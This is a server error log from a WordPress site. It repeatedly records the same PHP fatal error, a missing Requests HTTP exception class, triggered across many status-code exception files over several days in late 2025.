[28-Oct-2025 14:31:34 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[28-Oct-2025 14:32:36 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[28-Oct-2025 14:33:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[28-Oct-2025 14:34:49 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[28-Oct-2025 14:35:47 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[28-Oct-2025 14:36:52 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[28-Oct-2025 14:37:53 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[28-Oct-2025 14:38:54 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[28-Oct-2025 14:39:57 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[28-Oct-2025 14:40:58 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[28-Oct-2025 14:41:58 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[28-Oct-2025 14:43:00 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[28-Oct-2025 14:44:04 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[28-Oct-2025 14:45:05 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[28-Oct-2025 14:46:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[28-Oct-2025 14:47:08 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[28-Oct-2025 14:48:08 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[28-Oct-2025 14:49:12 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[28-Oct-2025 14:50:13 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[28-Oct-2025 14:51:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[28-Oct-2025 14:52:21 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[28-Oct-2025 14:53:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[28-Oct-2025 14:54:30 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[28-Oct-2025 14:55:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[28-Oct-2025 14:57:37 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[02-Nov-2025 05:59:42 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[02-Nov-2025 05:59:47 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[02-Nov-2025 06:00:40 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[02-Nov-2025 06:01:22 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[02-Nov-2025 06:03:31 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[02-Nov-2025 06:07:20 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[02-Nov-2025 06:08:07 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[02-Nov-2025 06:09:16 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[02-Nov-2025 06:10:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[02-Nov-2025 06:11:23 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[02-Nov-2025 06:12:28 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[02-Nov-2025 06:13:34 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[02-Nov-2025 06:15:45 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[02-Nov-2025 06:16:41 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[02-Nov-2025 06:18:45 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[02-Nov-2025 06:20:45 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[02-Nov-2025 06:22:42 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[02-Nov-2025 06:23:40 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[02-Nov-2025 06:24:43 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[02-Nov-2025 06:27:45 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[02-Nov-2025 06:28:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[02-Nov-2025 06:29:42 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[02-Nov-2025 06:30:41 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[02-Nov-2025 06:35:36 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[02-Nov-2025 06:36:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[02-Nov-2025 06:38:35 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[02-Nov-2025 06:39:41 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[02-Nov-2025 06:40:42 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[02-Nov-2025 06:41:46 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[02-Nov-2025 06:42:47 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[02-Nov-2025 06:44:50 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[03-Nov-2025 01:13:24 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[03-Nov-2025 01:18:04 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[03-Nov-2025 01:18:51 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[03-Nov-2025 01:19:53 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[03-Nov-2025 01:21:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[03-Nov-2025 01:22:00 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[03-Nov-2025 01:23:05 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[03-Nov-2025 01:24:10 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[03-Nov-2025 01:25:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[03-Nov-2025 01:26:11 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[03-Nov-2025 01:27:16 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[03-Nov-2025 01:28:24 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[03-Nov-2025 01:29:22 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[03-Nov-2025 01:30:26 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[03-Nov-2025 01:31:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[03-Nov-2025 01:32:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[03-Nov-2025 01:33:36 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[03-Nov-2025 01:34:35 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[03-Nov-2025 01:35:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[03-Nov-2025 01:36:46 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
